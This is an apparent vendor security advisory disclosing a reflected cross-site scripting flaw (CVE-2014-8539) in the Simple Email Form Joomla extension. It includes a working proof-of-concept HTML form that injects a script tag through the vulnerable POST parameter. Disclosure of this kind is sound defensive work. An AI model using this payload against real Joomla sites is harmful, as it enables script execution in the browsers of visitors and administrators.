Reflected Cross-Site Scripting (XSS) in Simple Email Form Joomla Extension

High-Tech Bridge Security Research Lab discovered vulnerability in Simple Email Form Joomla Extension, which can be exploited to perform Cross-Site Scripting (XSS) attacks against visitors and administrators of Joomla websites with installed plugin.

1. Reflected Cross-Site Scripting (XSS) in Simple Email Form Joomla Extension: CVE-2014-8539

Input passed via the “mod_simpleemailform_field2_1” HTTP POST parameter to “/index.php” script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the “alert()” JavaScript function to display “immuniweb” word:

<form action=“http://[host]/index.php” method=“post” name=“main”>
<input type=“hidden” name=“mod_simpleemailform_field1_1” value="[email protected]">
<input type=“hidden” name=“mod_simpleemailform_field2_1” value=‘"><script>alert(“immuniweb”);</script>’>
<input type=“hidden” name=“mod_simpleemailform_submit_1” value=“Submit”>
<input type=“submit” id=“btn”>
</form>